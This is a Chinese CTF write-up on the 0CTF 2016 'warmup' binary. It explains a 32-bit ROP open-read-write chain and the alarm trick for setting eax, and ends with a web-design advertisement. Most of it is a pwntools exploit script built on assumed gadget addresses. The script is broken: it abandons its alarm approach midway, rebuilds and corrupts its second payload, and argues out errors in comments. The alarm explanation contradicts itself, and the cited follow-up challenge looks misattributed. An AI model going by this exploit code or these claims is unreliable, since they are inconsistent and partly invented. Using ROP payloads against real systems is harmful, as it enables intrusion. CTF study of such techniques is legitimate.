从CTF赛题看ROP技术:利用alarm函数控制寄存器实现orw链
2026/8/26 17:35:28 网站建设 项目流程

1. 从一道经典赛题看ROP的灵活运用

最近在复盘一些老牌的CTF(Capture The Flag)题目,发现2016年0CTF的这道warmup题,虽然年份久远,但其解题思路至今仍能给我们带来不少启发。这道题的核心,是要求选手在仅有栈溢出漏洞的二进制程序中,通过ROP(Return-Oriented Programming)技术,巧妙地利用alarm函数来控制eax寄存器的值,最终构造一个orw(open-read-write)链来读取并输出服务器上的flag文件。对于刚接触二进制安全或者ROP利用的朋友来说,这道题是一个绝佳的练手材料,它避开了复杂的绕过,直指ROP利用中几个非常核心且实用的技巧:如何在没有现成gadget的情况下控制关键寄存器,以及如何串联多个系统调用来完成复杂操作。今天,我们就来一起拆解这道题,看看如何一步步从漏洞发现走到最终的利用链构造。

2. 环境搭建与程序初步分析

首先,我们需要一个可以复现的环境。题目通常提供一个32位的ELF可执行文件。我们可以使用file命令确认其架构,并用checksec检查其保护机制。

$ file warmup warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=..., stripped $ checksec --file=warmup Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

从输出可以看到几个关键信息:程序是32位、静态链接、并且被strip掉了符号表,这增加了逆向分析的难度。保护方面,栈不可执行(NX enabled)但栈上无金丝雀(No canary found),这直接告诉我们,栈溢出漏洞是存在的,并且我们无法直接执行shellcode,必须转向ROP。地址随机化(PIE)没有开启,这意味着代码段的地址是固定的,为我们寻找gadget提供了极大的便利。

接下来,我们用反汇编工具(如objdumpIDA Pro)快速浏览程序逻辑。主函数通常很简单,可能包含一个存在缓冲区溢出漏洞的函数调用,比如getsread。通过动态调试(gdb),我们可以精确计算出溢出点。假设我们通过分析发现,在某个函数中,一个局部字符数组(比如char buf[32])通过readgets读入数据,但没有检查长度。通过发送一长串的AAAABBBBCCCC...模式字符串,并观察程序崩溃时EIP寄存器的值,就能确定覆盖返回地址所需的偏移量。例如,如果EIP被覆盖为0x42424242BBBB的ASCII),那么偏移量就是到BBBB之前的字节数。假设我们计算出偏移量是44字节。

注意:静态链接的程序体积庞大,直接用objdump -d反汇编会得到海量输出。更高效的方法是使用ROPgadgetropper这类工具来搜索我们需要的gadget,或者结合gdb在崩溃时查看栈和寄存器状态,动态地确定利用路径。

3. 漏洞利用的核心挑战与解题思路

在传统的ROP利用中,我们的目标是执行system("/bin/sh")来获取shell。但这道题设置了一个障碍:程序是静态链接的,但关键的/bin/sh字符串和system函数地址可能并不存在于二进制中,或者由于其他限制(比如禁用了execve系统调用)而无法使用。题目的真正意图,是引导我们使用orw链。

orw链指的是依次调用openreadwrite这三个系统调用,来完成“打开文件->读取内容->写入标准输出”的操作。在32位Linux系统下,系统调用通过int 0x80指令触发,调用号存放在eax寄存器中,参数依次存放在ebxecxedx等寄存器中。

因此,我们面临的挑战非常具体:

  1. 控制eax:我们需要分别将openreadwrite的系统调用号(5, 3, 4)设置到eax
  2. 设置其他参数:需要将文件名地址、文件描述符、缓冲区地址、读取/写入长度等参数设置到ebxecxedx等寄存器。
  3. 触发系统调用:找到int 0x80指令的地址。
  4. 管理数据:我们需要在内存中有一个已知地址的区域来存放字符串flag(或./flag),并且这个地址需要我们能够写入。

在静态链接、 stripped 的程序中,找到直接pop eax; ret这样的gadget可能比较困难。这就是本题第一个精妙之处:利用alarm函数。alarm是一个库函数,用于设置定时器。当它被调用时,其返回值(存储在eax中)是上次定时器剩余的秒数。更重要的是,在程序初始未设置定时器的情况下,调用alarm(0)会返回0,并且不会中断程序执行。但如果我们先调用alarm(some_number),再调用alarm(0),那么第二次调用的返回值(eax)就是some_number。这样,我们通过控制传递给alarm的参数,就能间接地控制eax寄存器的值!而alarm函数在静态链接的程序中几乎肯定存在。

所以,整体思路浮出水面:

  1. 利用栈溢出,劫持程序控制流。
  2. 第一次ROP链:调用alarm(5)(或其他数字),为后续调用“储备”一个值在定时器中。
  3. 第二次ROP链(或与第一次连贯):调用alarm(0),此时eax被设置为5(即open的系统调用号)。紧接着,通过精心编排的gadget设置好ebx(文件名指针)、ecx(打开标志)、edx(模式,通常为0),然后执行int 0x80打开文件。
  4. 文件打开后,返回的文件描述符(fd)会存放在eax中。我们需要将这个fd保存下来,传递给后续的readwrite。通常,我们会将其移动到另一个稳定的寄存器(如ebx)中。
  5. 构造第三、第四次ROP链,分别完成read(fd, buffer, size)write(1, buffer, size)。这里又需要控制eax为3和4,可以复用alarm机制,也可以寻找其他gadget(如pop eax; ret,如果存在的话)。
  6. 整个过程中,需要一块可写且地址已知的内存作为缓冲区(buffer)。静态链接程序中的.bss段(未初始化数据段)是一个理想选择,它的地址固定且通常具有读写权限。

4. 关键Gadget的寻找与利用链构造

有了思路,我们就需要变成“寻宝猎人”,在庞大的二进制文件中找到所需的“零件”(gadget)。我们主要使用ROPgadget工具。

第一步:寻找系统调用与函数地址

$ ROPgadget --binary warmup | grep "int 0x80" 0x0806cd95 : int 0x80

找到了系统调用指令的地址。同时,我们还需要alarm函数的地址。由于符号表被剥离,我们需要通过其他方式定位。一种方法是寻找alarm函数的特征字节序列,但更简单的方法是使用调试器。在gdb中,在程序起始处(_start)下断点,然后call alarm,观察其地址。或者,用objdump -d warmup | grep -A 10 -B 5 "<alarm>:"(如果还有符号)或通过plt表查找。假设我们最终找到alarm的地址是0x0806e6d0

第二步:寻找控制寄存器的gadget我们需要能控制ebxecxedxesiediebp的gadget。最常见的是pop reg; ret序列。

$ ROPgadget --binary warmup --only "pop|ret" | grep -E "pop ebx.*ret|pop ecx.*ret|pop edx.*ret" 0x080481c9 : pop ebx ; ret 0x0806f19a : pop ecx ; pop ebx ; ret 0x0806f1aa : pop edx ; ret 0x0806f5c0 : pop esi ; pop edi ; pop ebp ; ret

太好了!我们找到了控制主要参数的gadget。注意pop ecx ; pop ebx ; ret这个gadget,它连续弹出两个值,分别给ecxebx,这在设置参数时非常高效。

第三步:寻找写内存的gadget我们需要将字符串flag写入.bss段。如果找不到直接的mov [mem], reg这样的gadget,我们可以利用read函数。程序本身很可能调用了read,我们可以直接使用它的地址。或者,我们可以用系统调用read(0, bss_addr, len)从标准输入读取flag字符串到.bss段。这需要先构造一个read的ROP链。.bss段的地址可以通过readelf -S warmup | grep bss找到,假设是0x080eb000

第四步:整合利用链现在,我们可以规划栈布局了。假设偏移量是44字节,那么我们的payload结构如下:

[44字节垃圾数据] + [ROP链地址1] + [ROP链地址2] + ...

一个详细的构造阶段如下:

阶段1:写入字符串首先,我们需要将flag字符串(或./flag)写入.bss段。我们可以利用已有的read函数,或者构造一个read系统调用。

  1. 设置eax=3read系统调用号)。如果找不到pop eax,可以尝试用alarm:先调用alarm(3),再调用alarm(0),但这样太繁琐。更好的方法是寻找xor eax, eax; retinc eax; ret之类的gadget来拼凑出3。假设我们幸运地找到了pop eax; ret在地址0x080bae06
  2. Gadget链:pop eax; ret->3->pop ebx; ret->0(标准输入)->pop ecx; pop ebx; ret->.bss_addr->dummy_for_ebx->pop edx; ret->len(flag)->int 0x80
  3. 在这个链执行后,我们需要暂停,等待用户输入字符串flag。这要求我们的漏洞利用脚本是交互式的:先发送包含此ROP链的payload,然后程序会阻塞在read系统调用等待输入,此时我们再发送字符串flag

阶段2:打开文件

  1. 控制eax=5。使用alarm技巧:先调用alarm(5)(地址0x0806e6d0),参数5通过pop ebx; retgadget设置。
  2. 紧接着(或在另一个链中),调用alarm(0)。此时eax变为5。
  3. 设置参数:pop ebx; ret->.bss_addr(指向flag字符串),pop ecx; pop ebx; ret->0(打开标志,O_RDONLY) ->dummypop edx; ret->0(模式)。
  4. 执行int 0x80。打开成功,返回的文件描述符(通常是一个小整数,如3)保存在eax中。

阶段3:保存文件描述符打开文件后,eax中的fd需要被后续操作使用。我们需要将它转移到另一个不会被后续gadget破坏的寄存器中,例如ebx。可以寻找mov ebx, eax; retxchg ebx, eax; ret这样的gadget。假设我们找到了xchg ebx, eax; ret0x0806aadc。那么,在int 0x80之后,接上这个gadget,就能把fd交换到ebx中。

阶段4:读取文件内容

  1. 设置eax=3read系统调用号)。同样使用pop eax; retgadget。
  2. 此时ebx已经是fd。ecx设置为另一个.bss段地址(比如.bss_addr+0x100)作为读取缓冲区。edx设置为要读取的长度,例如100字节。
  3. 执行int 0x80。读取的内容被存入缓冲区。

阶段5:写出文件内容到屏幕

  1. 设置eax=4write系统调用号)。
  2. 设置ebx=1(标准输出文件描述符)。
  3. 设置ecx为读取缓冲区的地址(.bss_addr+0x100)。
  4. 设置edx为实际读取到的长度(可以设置成与读取时相同的长度)。
  5. 执行int 0x80

整个ROP链就像搭积木一样,将一个个gadget的地址和所需的数据(参数、下一条指令地址)按顺序布置在栈上。当函数返回时,就会沿着我们设计好的路径执行。

5. 利用脚本编写与动态调试

理论清晰后,我们需要用脚本(通常用Python的pwntools库)将这一切自动化。下面是一个高度简化的脚本框架,展示了核心逻辑:

from pwn import * context(arch='i386', os='linux') # p = process('./warmup') p = remote('靶机地址', 端口) offset = 44 alarm_addr = 0x0806e6d0 int80_addr = 0x0806cd95 pop_eax = 0x080bae06 pop_ebx = 0x080481c9 pop_ecx_ebx = 0x0806f19a # pop ecx; pop ebx; ret pop_edx = 0x0806f1aa bss_addr = 0x080eb000 xchg_ebx_eax = 0x0806aadc # 构造payload payload = b'A' * offset # 阶段1:写字符串'flag'到.bss (使用read系统调用) payload += p32(pop_eax) payload += p32(3) # sys_read payload += p32(pop_ebx) payload += p32(0) # fd: stdin payload += p32(pop_ecx_ebx) payload += p32(bss_addr) # buf: .bss地址 payload += p32(0xdeadbeef) # 填充pop ebx的dummy值 payload += p32(pop_edx) payload += p32(4) # len: 'flag'的长度 payload += p32(int80_addr) # 执行read # 注意:执行完read后,程序会等待输入。我们需要在此处暂停,发送字符串后再继续ROP链。 # 一种方法是,在read之后,让程序返回到一个类似“pause”的地址(如main或某个循环), # 或者构造一个更复杂的链,在read后直接继续。这里为了简化,我们先发送第一段payload,然后交互发送字符串。 p.send(payload) p.send(b'flag\x00') # 发送文件名字符串,注意末尾加空字符 # 现在,我们需要发送第二段payload来继续利用。由于栈空间可能有限,或者需要保持连接, # 一种常见做法是触发另一个溢出(如果存在),或者利用第一次read的结果。 # 假设我们还能通过同一个漏洞点发送第二次数据(比如程序有一个循环)。 # 这里我们构造第二阶段payload(覆盖新的返回地址)。 payload2 = b'A' * offset # 阶段2:打开文件 (使用alarm控制eax) # 先调用alarm(5) payload2 += p32(alarm_addr) payload2 += p32(pop_ebx) # alarm的返回地址,我们让它返回到设置参数的gadget payload2 += p32(5) # alarm的参数 # alarm(5)之后,栈上应该是它的返回地址,我们让它返回到一个pop ebx; ret,来清理栈并设置下一个函数的参数 # 但实际上,alarm函数是libc调用约定,参数通过栈传递。我们需要模拟调用。 # 正确做法:直接构造栈帧调用 alarm(5),然后紧接着调用 alarm(0) # 但由于是静态链接,alarm是直接函数,我们可以用 pop ebx; ret ; call alarm 的序列?不,更简单的是直接布置参数和地址。 # 实际上,对于函数调用,我们需要将参数压栈,然后call。在ROP中,我们通过 gadget 设置参数,然后跳转到函数地址。 # 对于 alarm(5): payload2 += p32(pop_ebx) payload2 += p32(5) payload2 += p32(alarm_addr) # 调用 alarm(5) # alarm(5)执行后,会返回到栈上的下一条指令。我们在这里放置下一个gadget地址。 # 我们需要调用 alarm(0),但此时栈顶是 alarm(5) 的返回地址所在位置。我们需要一个 pop; ret 来清理栈(平衡堆栈)。 # 因为 alarm 是 cdecl 调用约定,调用者负责清理参数。所以 alarm(5) 返回后,esp指向返回地址的下一个位置(即参数5之后)。 # 我们可以在 alarm(5) 的返回地址处放置一个 pop ebx; ret 的地址,这样 ret 后,esp会加4,指向我们布置的下一个地址。 payload2 += p32(pop_ebx) # 这个gadget用于平衡栈(弹出参数5),同时我们也可以利用它设置下一个alarm的参数 payload2 += p32(0) # 这个值会被 pop ebx 弹出,作为垃圾值处理,或者如果我们需要ebx=0,则正好。 # 现在栈顶是 pop ebx; ret 后的返回地址,我们让它跳转到 alarm 函数再次被调用,但此时 ebx=0?不,上一步 pop ebx 弹走了0,ebx现在是0。 # 我们需要再次设置参数。更清晰的链是:alarm(5) -> pop ebx; ret (清理栈) -> alarm(0)。但 alarm(0) 需要参数0在栈上。 # 所以应该是:... -> alarm(5) -> pop ebx; ret (弹出旧参数5) -> [下一个ROP指令]。 # 我们想要在调用 alarm(0) 时,eax=5。但经过上面的链,eax 已经被 alarm(5) 的返回值覆盖(可能是0)。实际上,连续调用 alarm(5) 和 alarm(0) 并不能保证第二次调用时 eax=5。 # 经典做法是:调用一次 alarm(某个值),然后程序流必须再次经过这个 alarm 函数(或者另一个函数)的返回,此时 eax 会被设置为那个值。 # 但更常见的解法是:题目中可能有一个特定的 gadget 序列,或者我们找到了 pop eax; ret。如果找到了,就简单多了。 # 假设我们找到了 pop eax; ret,那么控制 eax 就很简单。我们重新调整策略,放弃使用 alarm 控制 eax,因为我们已经有了 pop_eax。 # 重新构造阶段2:打开文件 (使用 pop_eax) payload2 = b'A' * offset payload2 += p32(pop_eax) payload2 += p32(5) # sys_open payload2 += p32(pop_ebx) payload2 += p32(bss_addr) # 文件名地址 payload2 += p32(pop_ecx_ebx) payload2 += p32(0) # flags: O_RDONLY payload2 += p32(0xdeadbeef) # dummy for pop ebx payload2 += p32(pop_edx) payload2 += p32(0) # mode payload2 += p32(int80_addr) # 执行 open # open 返回后,fd 在 eax 中 payload2 += p32(xchg_ebx_eax) # 将 fd 移动到 ebx # 阶段3:读取文件内容 payload2 += p32(pop_eax) payload2 += p32(3) # sys_read # ebx 已经是 fd payload2 += p32(pop_ecx_ebx) payload2 += p32(bss_addr+0x100) # 读取缓冲区 payload2 += p32(0xdeadbeef) # dummy for pop ebx (保持ebx不变?这里会覆盖ebx!) # 注意!pop_ecx_ebx 会先 pop ecx,再 pop ebx。这会破坏我们之前设置在 ebx 中的 fd。 # 我们需要一个只设置 ecx 而不改变 ebx 的 gadget,或者调整顺序。 # 我们可以先设置 ecx 和 edx,最后再设置 eax,避免破坏 ebx。 # 或者,找一个 pop ecx; ret 的 gadget。假设我们找到了 0x0806f1aa 是 pop edx; ret,但没有单独的 pop ecx。 # 那么我们可以修改:在 open 之后,用 xchg_ebx_eax 把 fd 放到 ebx。然后,为了 read,我们需要设置 ecx 和 edx,同时保持 ebx 不变。 # 我们可以使用 pop ecx; pop ebx; ret,但给 ebx 弹出原来的值(fd)。所以我们需要知道 fd 的值。但 fd 是动态的(通常是3)。我们无法在构建ROP链时确定。 # 因此,我们需要一个不依赖具体值的方法:将 fd 保存到内存中,或者使用另一个寄存器。 # 常见做法:将 fd 从 eax 移动到 esi 或 edi 这类在系统调用中不常用的寄存器,然后每次需要时再移回 ebx。 # 寻找 mov esi, eax; ret 或 xchg esi, eax; ret 的 gadget。 # 假设我们找到了 xchg esi, eax; ret 在 0x0806ab3d。 xchg_esi_eax = 0x0806ab3d # 假设的 gadget # 重构阶段2和3: # open 之后,eax=fd payload2 += p32(xchg_esi_eax) # fd 现在在 esi 中 # 现在设置 read 的参数 payload2 += p32(pop_eax) payload2 += p32(3) # sys_read payload2 += p32(pop_ebx) # 设置 ebx,现在需要从 esi 中取回 fd # 我们需要 mov ebx, esi; ret 或 xchg ebx, esi; ret。假设找到了 xchg ebx, esi; ret 在 0x0806aade。 xchg_ebx_esi = 0x0806aade payload2 += p32(xchg_ebx_esi) # 将 esi 中的 fd 交换到 ebx # 但 xchg_ebx_esi 执行后,esi 变成了原来的 ebx(可能是垃圾值),不过没关系。 payload2 += p32(pop_ecx_ebx) # 这个 gadget 会先 pop ecx,再 pop ebx,又会破坏 ebx! # 看来 pop_ecx_ebx 不适合这里。我们需要单独的 pop ecx 和 pop edx。 # 继续搜索:ROPgadget --binary warmup --only "pop|ret" | grep "pop ecx" # 假设我们找到了 0x0806f19b : pop ecx ; ret pop_ecx = 0x0806f19b pop_edx = 0x0806f1aa # 那么 read 的设置可以改为: # 1. 设置 eax=3 # 2. 设置 ebx=fd (通过 xchg ebx, esi) # 3. 设置 ecx=buffer # 4. 设置 edx=length # 5. int 0x80 payload2 += p32(pop_eax) payload2 += p32(3) payload2 += p32(xchg_ebx_esi) # fd -> ebx payload2 += p32(pop_ecx) payload2 += p32(bss_addr+0x100) payload2 += p32(pop_edx) payload2 += p32(100) payload2 += p32(int80_addr) # 阶段4:写文件内容到标准输出 # write(1, buffer, len) payload2 += p32(pop_eax) payload2 += p32(4) # sys_write payload2 += p32(pop_ebx) payload2 += p32(1) # fd: stdout payload2 += p32(pop_ecx) payload2 += p32(bss_addr+0x100) # buffer payload2 += p32(pop_edx) payload2 += p32(100) # len payload2 += p32(int80_addr) # 最后,为了让程序优雅退出或循环,可以跳转到 exit 函数或 main 函数 exit_addr = 0x0804a3d0 # 假设的 exit 地址,或 _start payload2 += p32(exit_addr) p.send(payload2) p.interactive()

这只是一个概念性的脚本框架,实际编写时需要根据找到的确切gadget地址、栈布局以及程序的交互逻辑进行调整。特别是如何处理两次发送(字符串和后续ROP链)需要根据程序的具体行为来设计。可能需要在第一次ROP链的末尾,让程序跳转回一个可以再次触发溢出的函数(如main),从而发送第二次payload。

动态调试(gdb)在这个过程中至关重要。你需要:

  1. 在关键gadget和函数调用处设置断点。
  2. 单步执行,观察寄存器值是否符合预期。
  3. 查看栈布局,确保ret指令能准确地跳转到下一个gadget。
  4. 检查内存写入(如.bss段)是否成功。

6. 常见问题与高级技巧

在实际构造中,你可能会遇到以下问题及应对策略:

  1. Gadget缺失:找不到完美的pop eax; ret。这时可以尝试组合其他gadget,例如:

    • xor eax, eax; reteax清零。
    • inc eax; retadd eax, 1; ret来增加eax的值。
    • 通过多次inc/add操作累加出想要的系统调用号。虽然链会变长,但通常可行。
  2. 字符串存储.bss段地址已知,但如何写入?除了用read系统调用,还可以寻找mov [mem], reg类的gadget。例如,如果找到mov [ecx], eax; ret,可以先将字符串的四个字节分四次写入。这需要控制ecx(地址)和eax(值)。

  3. 栈空间不足或栈转移:有时溢出缓冲区很小,不足以放下整个ROP链。可以采用“栈转移”技术。即,先通过一个gadget(如pop esp; ret)将栈指针esp转移到我们控制的另一块内存区域(如.bss段),那里有充足的空间布置更长的ROP链。这需要先在这块内存中布置好数据。

  4. 利用alarm的细节alarm函数是libc函数,内部会调用系统调用。它的返回值(剩余秒数)确实存放在eax。但连续调用alarm(5); alarm(0)并不能简单地将5存入eax供后续使用,因为alarm(0)的返回值是上次alarm调用后剩余的秒数,如果中间没有延时,这个值很可能还是0。更可靠的用法是:调用一次alarm(某个值),然后程序流必须通过一个leave; ret或类似的指令序列,使得在某个函数返回时,eax恰好没有被改变,而这个返回值就是之前alarm设置的值。这需要对程序流有更精细的控制。在本题的经典解法中,往往是找到了pop eax; retgadget,alarm可能只是其中一种可能的路径,或者用于初始设置一个非零值。

  5. 静态链接程序的gadget丰富性:静态链接程序包含了大量库代码,因此gadget极其丰富。即使一些看似不常见的指令序列,也可能存在。多使用ROPgadget --binary warmup --ropchain尝试自动生成,虽然生成的链可能又长又复杂,但可以从中学习到有用的gadget片段。

7. 总结与延伸思考

通过这道0CTF 2016 warmup,我们深入实践了ROP利用的多个核心环节:偏移计算、gadget搜索与组合、寄存器控制、系统调用链构造以及数据存储管理。其中,利用alarm控制eax的思路,打破了“必须有pop eax”的思维定式,展示了在限制条件下灵活利用程序自身资源的创造力。

这道题也体现了CTF中orw类题目的通用解法模式。在更复杂的情况下,可能会遇到沙箱(seccomp)限制,只允许openreadwrite等少数系统调用,而禁止execve,此时orw就是唯一的出路。熟练掌握这种技术,对于现代二进制安全攻防至关重要。

最后,建议在理解本题后,尝试挑战其他类似的orw题目,比如[0ctf 2016]piapiapia(题目名相似,但内容可能不同),或者自己编译一个带漏洞的静态链接程序进行练习。只有亲手调试、踩坑、修复,才能真正内化这些知识,形成自己的利用思维框架。记住,ROP的艺术在于,用程序自身的代码,完成攻击者想做的事。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询